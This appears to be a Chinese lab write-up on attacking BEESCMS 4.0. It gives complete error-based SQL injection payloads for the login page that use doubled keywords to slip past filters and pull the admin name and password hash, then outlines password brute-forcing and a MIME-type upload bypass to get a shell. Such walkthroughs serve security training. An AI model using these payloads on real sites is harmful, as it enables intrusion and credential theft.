beescms注入

前期准备

靶机名称or源码名称:BEES_V4.0_R_20160525.rar
官方下载地址:http://beescms.com/cxxz.html
(一) 环境搭建:

#解压源码文件到网站根目录

#访问源码文件install完成按照提示完成安装

#修改mysql.ini 文件,在mysqld 下添加条目: secure_file_priv =,保存然后重启phpstudy,不然用mysql写入文件会报错。

一、预备知识:

枚举法(俗称暴力破解):

在 进行归纳推理时,如果逐个考察了某类事件的所有可能情况,因而得出一般结论,那么这结论是可靠的,这种归纳方法叫做枚举法。枚举法是利用计算机运算速度 快、精确度高的特点,对要解决问题的所有可能情况,一个不漏地进行检验,从中找出符合要求的答案,因此枚举法是通过牺牲时间来换取答案的全面性。

在数学和计算机科学理论中,一个集的枚举是列出某些有穷序列集的所有成员的程序,或者是一种特定类型对象的计数。这两种类型经常(但不总是)重叠。

SQL注入:

SQL 注入即是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句, 在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

二、实验步骤

扫描发现登录地址

(一) SQL注入

登录页面SQL注入漏洞,我们就不用sqlmap了手注

经过测试发现一些常用的sql注入危险函数被过滤使用复写绕过

|---|--------|--------------|
| 常用的一些函数双写绕过写法 |||
| 1 | and | an and d |
| 2 | select | seleselectct |
| 3 | from | fro from m |
| 4 | where | wh where ere |
| 5 | = | like |

因为注入点在登录界面看不到回显,所以使用报错注入

复制代码
admin' a and nd updatexml(1,concat(0x7e,user(),0x7e),1)--+

查询到当前用户为root

查询表明发现字符应该是被限制了,使用substr截取

查询表名

复制代码
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e),1)--+

查询后32个字符

复制代码
user=admin' a and nd updatexml(1,concat(0x7e,(substr((selselectect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),32,64)),0x7e),1)--+

查询bees_admin里的字段

复制代码
user=admin'a and nd updatexml(1,concat(0x7e,substr((selselectect group_concat(column_name) fr from om information_schema.columns whe where re table_schema like database()),1,32),0x7e),1)--+&password=123456&code=a9c5&submit=true&submit.x=57&submit.y=23

查询到admin_name字段里的内容用户为admin

复制代码
user=admin'a and nd updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om beescms.bees_admin),0x7e),1)--+

查询密码

复制代码
user=admin'a and nd updatexml(1,concat(0x7e,substr((selselectect group_concat(admin_password) fr from om beescms.bees_admin),7,32),0x7e),1)--+

拼接后密码MD5值为

21232f297a57a5a743894a0e4a801fc3

解密的结果为

(二) 弱口令爆破

这里的验证码在不刷新页面的情况下,是可以无限尝试登录的,所以我们可以对密码进行爆破

添加payload

admin length不同很有可能是密码

(三) 文件上传

网站有文件上传点

修改mime类型即可绕过

成功getshel

相关推荐
一只鹿鹿鹿4 小时前
【制造】erp和mes系统建设方案(word)
大数据·人工智能·web安全·信息化·软件系统
轻抚酸~7 小时前
小迪23年-22~27——php简单回顾(2)
web安全·php
雪兽软件13 小时前
2025网络安全指南
安全·web安全
轻抚酸~14 小时前
小迪23-28~31-js简单回顾
javascript·web安全
一只鹿鹿鹿1 天前
【网络安全】信息网络安全建设方案(WORD)
人工智能·安全·spring·web安全·低代码
卓码软件测评1 天前
软件测评中网站类测评测试使用的BurpSuite-Web安全测试流程
测试工具·安全·web安全
爱学习的大牛1231 天前
网络安全专业知识体系:成为专家需要做的
安全·web安全
吃不得辣条1 天前
网络安全之防火墙
网络·web安全·apache
m0_738120721 天前
Solar月赛(应急响应)——攻击者使用什么漏洞获取了服务器的配置文件?
运维·服务器·安全·web安全·网络安全
Status_5001 天前
XSS跨站脚本攻击详解
web安全·xss